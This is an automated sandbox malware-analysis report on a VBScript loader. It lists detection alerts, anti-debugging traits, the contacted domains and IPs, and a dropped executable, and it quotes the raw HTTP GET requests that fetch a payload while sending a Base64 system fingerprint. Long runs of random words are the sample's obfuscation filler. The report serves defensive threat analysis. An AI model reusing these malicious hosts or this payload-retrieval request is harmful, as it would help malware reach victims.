MSG_458954.vbs
This report is generated from a file or URL submitted to this webservice on March 7th 2020 23:11:37 (UTC)
Guest System: Windows 7 32 bit, Professional, 6.1 (build 7601), Service Pack 1
Report generated by
Falcon Sandbox v8.30 © Hybrid Analysis
Incident Response
Risk Assessment
- Network Behavior
- Contacts 3 domains and 2 hosts. View all details
MITRE ATT&CK™ Techniques Detection
Additional Context
Related Sandbox Artifacts
- Associated SHA256s
- 4aac7a439645f7f619b5fdd6c80646fef7bfa2c106d0d83d18124aa46435b879
Indicators
Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.
-
Malicious Indicators 3
-
External Systems
-
Detected Suricata Alert
- details
- Detected alert "ETPRO MALWARE Unk.VBSLoader Retrieving Payload" (SID: 2841137, Rev: 1, Severity: 1) categorized as "A Network Trojan was detected" (PUA/PUP/Adware)
- source
- Suricata Alerts
- relevance
- 10/10
-
Sample was identified as malicious by at least one Antivirus engine
- details
- 1/51 Antivirus vendors marked sample as malicious (1% detection rate)
- source
- External System
- relevance
- 8/10
-
Detected Suricata Alert
-
Unusual Characteristics
-
References suspicious system modules
- details
- "lMUCIuViEcaLoeHrgvxocjBBpCTwL=Tan(DhmlIfcxttMricQvfWrXPt)'AES woolpress inductility mammillar neurosclerosis Feuillants teethful phorone quasi-beneficially choucroute MElEng bay-salt designers badgered swung nonperilously dipsaceous felsitic sinter johnstrupite drayman Bandusia almsgiver externate masskanne localness spoonmaking accords shutterbug eider-down trichromat fullface sea-encircled Asvins oysterbird Cursoria kytes mahout Hanny re-enumeration tenth-rate Miraloma Olchi sculpture crayfish superimposition well-wired cinerea uncompetitive preachiest Aufklarung Glassboro endosiphon chipmunks leoninely plane Cyclostomatidae waltzing honeycombs Notonecta superstrengths chields dichotomic kupper heart-hardened isosporous vacua fs iodimetry haunching damage intramyocardial Freudist Elsass stoff broomsquire trees handlooms knezi Townie prebarbarically malacophonous mesmerizee affidavits totaling restant tilapias south-southwesterly omniscope dismettled taraxacerin tastably Alexia Miltown Samnorwood resulphuriz"
- source
- File/Memory
- relevance
- 5/10
- ATT&CK ID
- T1215 (Show technique in the MITRE ATT&CK™ matrix)
-
References suspicious system modules
-
Suspicious Indicators 5
-
Anti-Reverse Engineering
-
Possibly checks for known debuggers/analysis tools
- details
-
"ational draftswomanship Margaropus hindered Proto-attic unreveling alfakis buttocks attitudinize Djokjakarta nonpliable supersympathies Bethezel Polab turboexciter cyanoplastid tempest-beaten symbranch then-a-days ermelin logrolled Pro-britisher thrombogen twice-lost cimicifugin sensories metatitanate emotiomuscular somatotropism dressmakers forespoke ponticello objections disaggregate ovo- condemningly teels WRAF nonradically transpleural prereverse ketimide untemptably Theraphosidae hiphape myoplastic picarooning Ellerd unpurpled hogwashes upridge varicoseness veliform heaven-assailing starrily knee-high redisseise acrogamy uncommensurability orthotolidin unembarrassed misorganization monimiaceous superstimulated philosophy protestors Sandry re-exercise sporogenic Zygosaccharomyces Stent vorago expressionlessly echino- Aldebaran satraps FPC subcauses DARC swankpot codirectorship centricity sprenging ganancial outslick veneries rewardableness Tobi overprecisely vendibilities ethnicist showerless blanker dipl" (Indicator: "ntice")
"mentations biometrically proteroglyph gonial pyxides pampered kanten dekadarchy Vigo cystectasy tricosyl unconservatively larcin thorons dollymen sarrusophonist whorle fidejussory wire-stranding Maubeuge bloodsuckers iconically anacrisis kymatology wind-flowing transliterating regurgitated SPARC intersecant sightsee waried syntonies forficate netleaf photographess Ekaterinodar Gensan tritanopsia hieroglyphy jubilization skeletally Seltzer fraternization taihoa Piperaceae cucaracha gutser sensory miterer full-streamed standpoints orange-hued Odzooks superfortunate shiftman Ghazzali onionized acre-inch inesthetic outsprued dissolvingly arteriogram unfaithworthiness impressions master-singer deceiver wardwoman progenitrix debunker Rhodymeniaceae unstoked reinvented prolocutor rheophilic nonfulfillment unrecommended redye muskegs nonratification unprenticed piking potgut refluxes Isocrates woodworks inisle hamza monocrotism unsinnable Gammarus tear-reviving Trilliaceae Loralie figging sharp-cutting clottedness Ro" (Indicator: "ntice")
"ialize trumpie honorarium bandspreading appeaser uncrochety draggiest ruby-colored washtub lionises squirehood modally tonettes distaffs flameflower 10th crumlet rarify Ridglea specialty unrolls amplect Ponchartrain gradualness malemiuts bialys clericature Crimplene Croatan scyllarian quidder dyadically demur myocoelom redintegrated achira expurgatory goldurn bondage ritratto separate Jotunheim PC entices trails redhead-grass resurround floods waspnesting Caryatis aphanipterous adiposity Pharm honeymoonlight flatlets residuums hierarchys keen-nosed moto- milkwood eatche Buckleya SMILS Autobasisii nather pit-specked self-scrutinized desirers hemielytra hemiobol Lyon fobbed abolitionised tackety outlancing fulguration diosgenin salvages luxuriously serozem extemporal remagnetized loured cadencies weak-lunged wind-puff exo-condensation amacratic Sesuvium elrage Yamassee distensible shameable Normanna gracefuller adolesce recomparing four-spot Marathon oat-crushing demographist devolatilize red-fronted escribient" (Indicator: "ntice")
"'trigger micromeritics Mommi Stradivarius quadrillion shipwrecking micromelus lobworm stylopization accusingly magirological forgetter rows decarboxylate patternless OMalley rehangs Rivard Fidelio drubbing tungstous gelatigenous Martha salmwood geophysical underministry peregrinoid antihelminthic deoculate grindal triazoic icky Bovina reimpatriate posthaste thrice-told immunoglobulin tokenize nonevacuation tropho- Myriotrichia full-natured spooned all-seeingness bopped mancono RAS foumart undergrad well-laundered sphagion setenant bushelmen RJE Holocene Hallowday ichneumonology well-rigged oil-thickening proudly Willette applicatory everyday level-headedness shankings menhadens tutoyered nonsaving elasticity monarticular verticillation underpinner easy-paced unmanually quercetum Pym arterially spidered nonperceptibility pishing filially actinotherapeutic anticentralism straitened crystallisable Yahgans phenoxid carbonify outwardmost apprizing melodized unmortifiedness bipinnatipartite overarm mid-swing Lawren" (Indicator: "ntice")
"overty allonyms hepatoportal digram Moustierian stumped allylation Inst ginhound stagers universalising misthrive Burner unself-willedness est slaughtery semiconductors posthabit Hunkpapa lithobiid Finlayson bint stallar dramatization tootsy fanfaronading synaphea summarized coemployed trithionate recoverance overwhisper whip-cracker pairial amplitudes studiously Monticello medias croslet white-legged interjudgment Lovich esoneural six-spot globulinuria Evey heartbreakingly Ravenelia straightforwardness iridectropium self-centredness popeism thrivingly adenomata subeditorship upbound mesethmoidal distraction Borroff moundlet prairied levator gardenin bankrolled nonlacteally Loretta stratal recontesting landsmanleit cratering housebuilding apprehender OCE Lovettsville wirepuller lyrically guarri fly-specked tubulose McIlroy revolved accreditations kavass barrelling figurehead pixiness sledlike Prussian countermoved hydromaniac Glenhead moudieman Catania sanitates mentioned crosscurrents stoven distemperedly co" (Indicator: "ntice")
"jective hornblende-gabbro stonebreak invitingness nonmaturity khanga pearlberry resolidifies Grecized dominations Algiers nonoffender Bresee Blomkest gloving choragus kneebrush usaunces euphemistic shodden uppard birthrights Palaeosaurus Janella misimpression unpaganizing amenability pernitric Indo-afghan Guillemette Snydersburg alchemister seabird hersed compendiousness descensory imperturbableness well-conditioned curvilinead chargeling slipslap photolithograph ladron simious daybreaks apinch IOW saprolegnious oxidation scrutinous Pro-tripolitan undegeneracy calflike stegocephalous noncollective kolkhozy bilocation dolichurus uneconomic photostater elapse nonpenetrably protractility Oleacina overcuriosity aljamiah ash-blue pluriflorous Manwell Brew repulpit untense concertos submultiplexed peppered headrig avg. coinvolve mellow-ripe lenticel nonabstainers reattired Diplopoda metage aristologist Faisal emendating stearines nonvillainousness sidetracked date-bearing Nonnah benzoxy botanists tules UDMH exurb s" (Indicator: "ntice")
"ture instrumentalists dyscrasic beau-pleader satiability diaster tut-tutting lasciviousness reshaves reoccasion diazinon radiodontia flutes dreamt cecchine Bulimulidae MRP blood-and-guts sea-scented pedicellar Lodovico antinion superbenignly chirurgic fifish teredos tusches bedsonias ultra-atomic gazetteerish Guria concomitancy magnifier thornbill Utraquist pintles Araquaju Tory-voiced soul-moving gratuitous godowns libaniferous cacodemonial syssitia truistical soldo Ultra-english Bedelia xerasia salinometer arseneted diffluent Anti-italian oversmoke rubidic Kolasin jizzen Gothicise unshapedness ravelling unvenerability overlight apocinchonine Kutenay uncategorized outnumber forrad bleached-blond valleculae underagency noble-mindedly quartzes macros arthroempyesis anticensorious overshining diaphtherin innoculated giftedness incatenation corn-law ochrocarpous buttons conservacy fullmouthedly Zanthorrhiza awanyu unweighty sorbates now-a-day parasiticus kingposts cleanup back-going scamped chazzenim samples apo" (Indicator: "ntice")
"rimental Wallerian Haematotherma ray-strewn typy reverberations fiftyfold peacock-voiced wax-tipped meathead Splendora nondiplomacy boundlessly nasoantral untangles percussionist fluoride Hyksos ferroboron hemlock-leaved wroot coberger danegelds aclys forborn urosomitic lexicostatistics gunneress incisure pluteiform grallatory democritean double-bank unnapt carnaged tumultuariness dysmorphism Urbicolae melaconite trough-shaped subgular smirched homoglot malapaho Blithe deadpay re-entice corkite open-sidedness phulwa anthologist Salol white-hatted opisthographal recage Routh Alessandro somatopleuric epibolic yielder sexing uncrystallizability osculatories monolingual eschewal graveman fili contraposit stillicide ectocarpaceous Castroville frogmouth gimleteyed Szeklian skol summerroom statable basket-star crimes turtlepeg coracoscapular cerebrosclerosis urva ecraseurs longing portrayed geneological jezebels orrery unusableness infinitesimalism snog unromanticized fatstock kamahi Celestinian conteck tomography j" (Indicator: "ntice")
"s AIC enisling luxuriantness drostden actinotrichium chronography Cormac wide-elbowed stampeded Muter disunited phacocele levo blue-annealed unvitreously ptyalized stonemason unnerving yuletides enslaver crazy-work Sabanahoyos merozoite Calandrinae Teutonize shoggle ZBB factions cerci rank-smelling prentices Florenza Reichert eddied Whitmanism rassle unwhig teletypes Venuss-hair Bunce every warmheartedly shilly-shally co-inhabit Mesmer teliosporiferous well-instructed cladodont iglu picotee unoxidated bluebutton howked ditchdown summation Cervantist vorticularly draftees Lothringen loggerheads destructible distent bleareyed PSL Radiolaria Walnutshade Potsdam egg-shell recollectable ill-assorted autoepigraph coappellee earscrew provisory rumpy steamboats Helioporidae meteogram ten-ply ruckling italite cloacean pianofortist ungermlike unpedestaled actinotherapeutics smithwork unpanicky zootheistic precisian largesses galleylike smoothish adjudicatory nosine deer-hound severate nonsubversion epazote daubreeite s" (Indicator: "ntice")
"e-nerved reoccurrences salifiable effeminated chromophilic hierogrammatist Amblyopsis unreserved endosmoses bedfellow ultimated funnies hagden knap khaph unrefutable Vice-christ audiometrically ordure LU laborless neuronym microcephalus cannoning concours grids Crist diiambus pyroelectricity solidifications cold-spirited P.R. nonfalteringly Topsy-fashion nonrelation mitrailleur Okie aesthetician thick-ankled twice-subjected Llandovery unthriftiness birdyback sack-winged Minooka backtracker nullified blepharopyorrhea single-barreled nertz uncolloquial cicer giron Trimurti rediscussion engyscope prenticed plashers yearday Sepsidae crystallogenic hokily hip-huggers routhiness backhaul rock-boring Oceanian open-pan murga givin demi-season Halverson intergroup" (Indicator: "ntice")
"s weatherologist oversystematized organizable tickets unscrupulousnesses incitations subpar twice-omitted Taurotragus acriflavine lace-curtained tunicles straightforwardly opinatively noncontinence Kenti mismeasurement Dymphia ploratory plenism Norfolk unrefracting Adorantes Eleanor Purbeck froze catclaw praxiology horseshoers non-reduction anticeremonialist misprinted pinholes scopulite Richard kindlessly availably quantitive exter-marriage Eragrostis 'fusetron overspends electrofusion opalesces outbat self-pleaser simptico eggberry eccrisis cloth-stamping birler plugola gilten chamois coronograph emphractic puggish apologys howkit Monothelete indolence misgesture scrupular shlimazl rectilinearism housesmith expatriate korakan kneed fibroma clamps elatcha semifloscule vangloe setling deep-thoughted hodge-pudding Hadjipanos prepronouncing zootomically cramberry crapshooter Persicaria peptolysis unbacterial pre-exhibition self-timer imbibed unsophistic Alyssum swordfisherman subcrystalline blossom-headed simpl" (Indicator: "ntice")
"ion maziest overfancy panic-stricken Rollinsville pampas-grass pelvigraphy phantomship reefy Lilliwaup disproportion territorially bedrugged drawshave refugium unintelligibility Tantrika inquisitions PCI overdistension outpoll Bixa polyzoal morphoplasmic cuprotungstite isatide tinworks Parnassus chinar Brittne Olax serialized off-corn editchar autoplasty disoccupy douziemes kieye datapunch dirgie fike cotyledonoid whove ruggednesses miasmatic Puposky anticeremonially alliterationist bowmaker gentle-voiced Crypto-catholicism Non-druid Rarotonga hurry-skurried gingelis initialer subnect Volutidae thick-pated velars enravish Cyrilla somniferous ulcerous Allegre orange-yellow helenn shims gum-bichromate metoxazine internalized Eversole uninferrably pulers unsectionalized saddlery kurtosis perissodactylate elicitate presymphysial day-and-night straggling ACT compregnate entitatively holochroal stage-coach clogs lowborn pinkeye half-hitch Malverne Peddada extracted Despiau portentive fluors bestay pleasure Brout hy" (Indicator: "ntice")
"h unacoustically phonoreception Lingulidae pleasure-bound nonaxiomatically Adriaens dynamostatic Ceratophyta methought epagomenae personalis prancingly bakerys Jaxartes layers Gaypoo gutturalized cadding tanier jocum Mapleview red-beamed tiptail Lamoille Huila Alfurese Schilit gy- recurring behavers agust spring-lock ingeminate bacteriotoxin rust-yellow nebulose roundeleer obitual scorcher enthusiasts adjudicator symphyostemonous regird distrain nonsensuality unshovelled Micajah semiform attrition Edmunda defamatory Teutophobia appentice unintroduced escargot chest-foundered zoosporocyst rift Bavon fruticulose tests dured epitomised tyrannial soots spumones hysterodynia noncandidate Brailowsky privative dioxanes Bleiblerville afterfuture sarsaparillin outmating Isidor untwitched nondepressive microelectrode nonprincipiate Nataline neuraxis Haganah yips Phoenixlike Dellora pre-explanation diademing thumbstring lantcha bitterful hunger-stricken apodeipna ill-advisedly pudda reested Randallstown Pelasgoi nontrun" (Indicator: "ntice")
"ly Oceanid disarrayed outheel evictions lobulate neoterical tetramine bromopnea zill extrabold leucocidin Waco inkling successionless buzziest Avalon Q.C. overmans veggies Bracon unthrones cavallas tephillim G.B.E. misrehearsal Russifier interpollinating wheres NTIA pathometer begass besotting woozier Panchaia amateurship hexameter viduage villageous McCollum carbonizer romancelet daunter brails CBW manifoldness syllabub underestimates vice-detesting zodiacs agin unnoble intelligences unentangleable yangs inquisitiveness jounced tormentous Barthelemy pirogues sirple immixture inextant ravishes cocuswood Ultra-presbyterian splinter-proof JCD southeasterner Ferree ministrys spirketting sourest armory spawning notabilities preinspiring prosely anthraxylon onomatopoeian Barksdale biabo molalities Habacuc significancies scabish Marshallberg Argeiphontes Wabi irrationable umbratic juste-milieux unexplicated nondeferent trophotropism lymphatolysis nondissenting woe mid-feather caponizer Denticeti Gewrztraminer empty" (Indicator: "ntice")
"al Avestan evocatrix metastigmate transmitter underbottom firsthand chrysology Allsopp ethmovomerine Caputo Pantagruel outlawed Hoangho countersea sad-eyed talipat subaxially vampirish ungroomed duck-toed Z-shaped nonconsent talcum Rothenberg Leopold oglers regimentation langrel concernedness caneva phyllaries Rhizostomata unjustify black-spotted smashups toxicologic maldevelopment capeadors oligometochia tragicomipastoral corynebacterial misceability unsuitably tattiness A.B.A. meseled nonhouseholder bashawism well-mounted geal apprenticement agomphious parrot-fashion mutability nonposthumous unmanured Shawville lucerns hexastichic choriocele slewer urheen Mishawaka predetermined chantors lamprophonic innyard noisefully flavourfully Covarrubias polyspore Olympianism whats-its-name semilucent nontelepathic sandpit shirtmaking requires antideflation merchantlike kulkarni acousma wrangled combustibilities inversable presay choleras superannuities cords geographies pretelephone Glendora superheater pseudobenthon" (Indicator: "ntice")
"capsula microminiaturizing limaciform steatites open-market Marianic bemadams Hippocratical poplar slosh subcontinent amper synonymizing detonators legendarian pre-enthusiastic tubuliform unruleful equably limeless anthropomorphically quatuorvirate thankless Hogen supercandid noneugenically dtd cowbird gibing reindustrialized soddening spleneolus girlishness gananciales red-lipped Ventose gloomy-browed counterend majesticness teachership Cacak myrtlelike expt millstock clemmed unproscriptive so-instructed glowers plumes endurance pareciously hexapodan tip-cat suppression unvalued prowfishes raggety shook tubuloracemose Ulmus nosinesses scourings chiropractor OEM sheathes Jezabel disvalues pretorsional Garcia-Godoy presifts Resistencia bless tamacoare laminable fatuousness psoriatic pyrosome minah prelocated shingling flapdoodle conveyed spousy enticeful Anniston mesosperm nonhieratical ensnarls ophthalmophorous rochelime rekick Tonnies well-horned bakerless EITS pyroglutamic permutations recoagulate trichino" (Indicator: "ntice")
"shortchange diaetetae acetometer badgerweed unruledness zythem procuratrix crucialness andabatism precedence Realpolitik hoodwinked pradhana Normanism Jewlike frame-made non-access Scorpiid ill-cured mass-word boko ladronism viper-bit CSIRO liqueuring inosclerosis abiologically alibangbang expansive liliform stow-boating impocket gillie-wetfoot delation brushability platitudinized elementate oligopyrene enticer Georgius eternised gotchy firmland decrowning seneschalsy transportables powhead weroole subcivilized Mon stereotape classicise naevus Suzy Svea tubiporous quarterns teosintes intimiste laryngic wailers unpreternatural depicted unparenthetical macrolepidopterous uptemper arroyos luteofuscous cherishingly fibrilliform herd preinterceding Sandi presupplying filibusterers Cong. subdwarf Temperanceville coadjuvant wipeout athymia bonitas scour JSC antiliturgic Asat dissembler undefaming untranquilized Ochotona Fosite sevenfolded Telanaipura microbiophobia Fedirko jaggedly Jacumba excommunicate Connally non" (Indicator: "ntice")
"caestuses trampolines purposivism olp Cloudcuckooland Alcyonaria red-rose Discoverer cacodemonic liepot geneki abash decrowning unself-changing Ecclus casal unvouchedness sun-heated monoxylic melodized havocked ASSR smooth-legged Khos resolubleness thromboembolism methylcatechol Westbrook microconjugant settsman olecranoid Carolan ammochaetae sanopurulent digestedly Panza vagbondia abietineous pin-buttocked unlustred ONA peise gunstock hemstitches nonidiomatical viverriform unministrant wheyface edelweiss Bellport appealer proanthropos sandalwood darkie shrink-wrap replanning Yvonne unliquefiable yese atopies self-playing bedwarmer nonenticing notorieties enlarger MBWA oestrual Georgius re-retire Adolf soul-dissolving unresoluteness drivable dabchicks MH sum-total vifda Mattawamkeag cockbrain Elba CIU fdnames FCT servantdom rout goldbugs wide-wayed unvoraciousness conticent many-sidedness jacksmelts masticurous Corrie Downieville es- laniaries centavo earthen Coronilla Agnoete forbearers head-man ungovernment" (Indicator: "ntice")
"rabbiting determinants Haddad unprudence dwindling governante murrelets carcerate semigranulate right-ho Nonna specifist battening Chrotoem throned fingram reinferred funerals lipometabolism tossed lairs antes preelects Osugi water-rot TNOP megametre ideoglyph banteng Barbula leucoencephalitis doled eunuchal procombat precartilaginous antivaccinator graphemically Elatinaceae anthropophaginian Wehrmacht Seine lixive sharp-horned Hellas cahiz indepravate clamminesses superideal chlorophaeite encenter anticeremonial soul-tiring warling wide-leaved mazourka unthinkingness Shimei rentals Apatosaurus Miranhan agostadero sideburn tip-and-run yarnen nonrequisiteness ill-proportioned scumbles bedlamps maniacs hugely silkworms meltingly spider-leg valerianic cardinalfish Daniala unidentifiableness riverwash multivocality argan unmagnanimously Kellsie victuallership olive-drab on-go Quelimane fire-stone winly tin-plated undespondingly epirot nativism Jellico viscerotomy antienzymatic ariels honesty Plenipotentiary propr" (Indicator: "ntice")
"hereinsoever Strander tensile Passaic calefaction jissom rull burniebee upper-cruster saccharoscope militaristically filicoids transubstantiating equiglacial Gymnadeniopsis intertwistingly Longport cosubject interlocally baguets swaging curtseys butterscotch unsteadinesses groupist scratchless slappy unacademic foreuse Polistes Euphrasia Finsen quandarys tinkerdom japanned evaluation pineries microlevel coloration cozeningly wide-spread febrile pyritical biternate ionicity cryptozygy cryptarchy spanopnoea noncrushable glumose obelias half-sagittate spancelling bairntime enteromere hypertense snooded drachma counterbarrage biofog imperforable anchorages nominated irascibility paronomastic legitimatize subprotector pascuous macadamise monozygous enticement verzini lime-rod well-concluded tolerism Adamis unsloped skunked Broads zythum biotechnics USA Rexanna photomicrographs comprehensor appositionally prunase choosey coseasonal postcoital quasi-publicly dreint thermes telegenic noughty unimaginableness grieko R" (Indicator: "ntice") - source
- File/Memory
- relevance
- 2/10
-
Possibly checks for known debuggers/analysis tools
-
External Systems
-
Found an IP/URL artifact that was identified as malicious by at least one reputation engine
- details
-
2/71 reputation engines marked "http://a-o-concepts.ch" as malicious (2% detection rate)
1/71 reputation engines marked "http://www.a-o-concepts.ch" as malicious (1% detection rate)
2/71 reputation engines marked "http://regennew.projevideo.com" as malicious (2% detection rate) - source
- External System
- relevance
- 10/10
-
Found an IP/URL artifact that was identified as malicious by at least one reputation engine
-
Installation/Persistance
-
Executes a visual basic script
- details
- Process "wscript.exe" with commandline ""C:\MSG_458954.vbs"" (Show Process)
- source
- Monitored Target
- relevance
- 10/10
-
Loads the task scheduler COM API
- details
-
"wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at 73C10000
"wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at 01A40000 - source
- Loaded Module
- relevance
- 5/10
- ATT&CK ID
- T1168 (Show technique in the MITRE ATT&CK™ matrix)
-
Executes a visual basic script
-
Network Related
-
Sends traffic on typical HTTP outbound port, but without HTTP header
- details
-
TCP traffic to 62.2.203.93 on port 80 is sent without HTTP header
TCP traffic to 46.31.145.210 on port 80 is sent without HTTP header - source
- Network Traffic
- relevance
- 5/10
-
Sends traffic on typical HTTP outbound port, but without HTTP header
-
Informative 11
-
Anti-Reverse Engineering
-
Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
- details
- "wscript.exe" is allocating memory with PAGE_GUARD access rights
- source
- API Call
- relevance
- 10/10
-
Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
-
General
-
Contacts domains
- details
-
"a-o-concepts.ch"
"www.a-o-concepts.ch"
"regennew.projevideo.com" - source
- Network Traffic
- relevance
- 1/10
-
Contacts server
- details
-
"62.2.203.93:80"
"46.31.145.210:80" - source
- Network Traffic
- relevance
- 1/10
-
Creates a writable file in a temporary directory
- details
- "wscript.exe" created file "%TEMP%\TableOfColors.exe"
- source
- API Call
- relevance
- 1/10
-
Loads the .NET runtime environment
- details
- "wscript.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll" at 65E90000
- source
- Loaded Module
-
Logged script engine calls
- details
-
"wscript.exe" called "Msxml2.DOMDocument.3.0.CreateObject" ...
"wscript.exe" called "ADODB.Stream.6.0.CreateObject" ...
"wscript.exe" called "WScript.Shell.1.CreateObject" ... - source
- API Call
- relevance
- 10/10
-
Contacts domains
-
Installation/Persistance
-
Touches files in the Windows directory
- details
-
"wscript.exe" touched file "%WINDIR%\System32\wshom.ocx"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch"
"wscript.exe" touched file "C:\Windows\System32\en-US\wscript.exe.mui"
"wscript.exe" touched file "C:\Windows\System32\wscript.exe"
"wscript.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
"wscript.exe" touched file "C:\Windows\System32\rsaenh.dll"
"wscript.exe" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui"
"wscript.exe" touched file "C:\Windows\System32\msxml3r.dll"
"wscript.exe" touched file "C:\Windows\System32\msxml6r.dll"
"wscript.exe" touched file "C:\Windows\System32\wbem\wbemdisp.tlb"
"wscript.exe" touched file "C:\Windows\System32\stdole2.tlb"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" - source
- API Call
- relevance
- 7/10
-
Touches files in the Windows directory
-
Network Related
-
Found potential URL in binary/memory
- details
-
Heuristic match: "a-o-concepts.ch"
Heuristic match: "GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: a-o-concepts.ch"
Pattern match: "www.a-o-concepts.ch"
Heuristic match: "regennew.projevideo.com"
Heuristic match: "GET /wp-content/themes/chigue/themes/444444.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: regennew.projevid" - source
- File/Memory
- relevance
- 10/10
-
HTTP request contains Base64 encoded artifacts
- details
- "Microsoft Windows 7 Professional "
- source
- Network Traffic
- relevance
- 7/10
- ATT&CK ID
- T1132 (Show technique in the MITRE ATT&CK™ matrix)
-
Found potential URL in binary/memory
-
Spyware/Information Retrieval
-
Found a reference to a known community page
- details
-
"lfpropelling prescutum zolle Propaganda nossel unbeseemly warmheartedness hedge ocuby Idhi Anglo-russian Aridatha oroide well-operated unlegalized justler prechilling revellent pupfish fellow-creature introductive Aestii assuaging speen counterobligation swingknife alto outweaving reagins gingers twenty-mesh muu-muu Moultrie MHE resubscribe allotropical tahgook coquito Pangaro tychism Firbolg bronchia zenographical confix symphonization embale Moesia J.S.D. pseudospiritually pennywinkle mis-hit Appalachians operabily Bucoda humorous koftgar overlaness medscheat nonallergenic Flexowriter pigwigeon double-bank Hypochnaceae well-rooted enterostomies Zygopterides gallantry diblastula thunder-dirt googul dat. uropygial Mohawk larkier spodomantic ible dillisk ballist barleyhood suffragans undrawn twittery HIV peripericarditis nonvisional berthas uterology antivenereal entitling continuations laxifolious Rhabdocarpum silverness basipterygium thumb-marked jumpiness LAIS muck pulmotors idiographic connectors bobcats J" (Indicator: "twitter")
"lanuginousness browd spectropolarimeter disseisee Misima dysphrasia Pedetinae petrog motmots twice-guilty burinist whetters cassabully oversensibility furrowy tobacco-pipe bobsleigh membranocalcareous flustrating Valdese benzocoumaran ivoried maquis quodlibetal slicking tools trainsickness BSOT Eniwetok cartoon moujiks bye-turn cothe psychrometer Kristie Sabanaseca Arzachel signory Ares desiring reallegorize ozonizer iteratively ballutes twitteringly rosy-eared kreosote reissued hypallactic banjo-zither uncoffer exendospermous protocerebrum gamont scooping menispermine Cudlip eglandulose viscosimetry moudieman gyroplane parchedly untriturated eumolpique carditic knelling Costaea immeasurable infirmable uneffaceably summation aceanthrenequinone unrealised Russ. resemblingly Carbonarist Stephi master-work you-be-damned disgustedly ambsace parousiamania pennames Sciuridae zoners whitish-cream throneless muscicapine Virgie officeholder coexchangeable dronish platinums saleably unstealthy Hypoxylon PST marsupial e" (Indicator: "twitter")
"away nithing incus insalutary spary Lalande gynandrous cog. cosignatory watap profoundness bargeload codeins fuchsins katalyst twittering unfetchable narrow-faced Erlin gabbiness picotees unfeasted PDS reduced snottery misallotted eldest rediversion meline nontheatric teaspoonful saccharogenic Spillar soupled shrewdnesses philotadpole overhumanizing Conferva pantisocracy Daniela geostrophic embryography peat-smoked belating pistle tragopan Inia battish azure-blazoned punga Rebba rose-cheeked ameiotic magpied effetely sporophytic climacus she-cousin Sarvarthasiddha BSPE wiggery forums twice-discharged grasscut eradicatory spermatoplasm subacidly preferral quislingism usurpership products Melburn resorptive Artemovsk ladyflies tiebacks provoking obliquities Samothrake administrationist Thessalian dogget malinvestment objected Falster dressmakery belly-land offcut troak double-surfaced heavenhood great-hearted guzzles airbag predestinating obfuscations kephalins blowhards schnapps hierurgical arenicole bravely J" (Indicator: "twitter")
"ne subintervals hosed queridos perfectibilitarian slumlords partner archpolitician remerge Skvorak aminovaleric cryptographies Hapale Hyps Incorruptible snobocracy antinoise mirthsome slatemaking parapegma dizzier kantela drummers unincorporatedly hardboot markhors greenwort Vieques handbank twittered ephedrin incomers bondminder honors vernition mucorine Farris petalwise invaccination demiurges antiparalytical retractor white-horsed centiliter himwards overdecorated cinquepace bundled xanthophyl dentins extrafine goddize angiostegnosis unrued Gerstner heterotactic chuser transferably deltahedra burweed Saunder Amusgo lamp-bedecked chauffeur whopping cigars pye-dog lipoids yirr refigured EEO Dyothelism noctidial Daven antitobacco referents alorcinic unculted Fayette grayouts gloomiest nongraphitic unfarsighted Peterec graypate tile-red peanuts olericulture thorascope EEOC court-cupboard cheetahs praenomina never-ceasingly filialness usuries creepered Romilly Christiansted leperdom unbreeching excusal inethica" (Indicator: "twitter")
"brotherlinesses apotropaically swiple Arri Nadbus autodestruction out-babble stylopodium medicophysics Sectary tensiometry hydropathically Haidan bioactivity self-immolation starven nonferocity hydrophilicity transculturation irreturnable Megatherium lochiorrhagia whirl begird apodyterium benzdifuran Pani airbills canvases matutinely memo antihumanist ego-involve Reichenberg black-eared rullock disdainful gauntleted sarcasticness perispherical embattled Winneconne roister-doister monostylous cursorary squids winglessness Achimaas hypochondriast stiles fingerfishes fanging clip-winged anthropol patchleaf stagnation immoveableness overvigorous global blackmailer phacosclerosis self-hypnotic coralflower semicannibalic mandolins coulombic flaggings doughmaker intersentimental unlimned caulkings twitter-twatter palay LUT whirlgig silver-lined undeservedly Lulea tectospondylic unpathetic Pro-quaker chinles superaerially transfixion physiotherapeutic trenchantness encipherments FZS rightheaded candleshine skyrin Gi" (Indicator: "twitter")
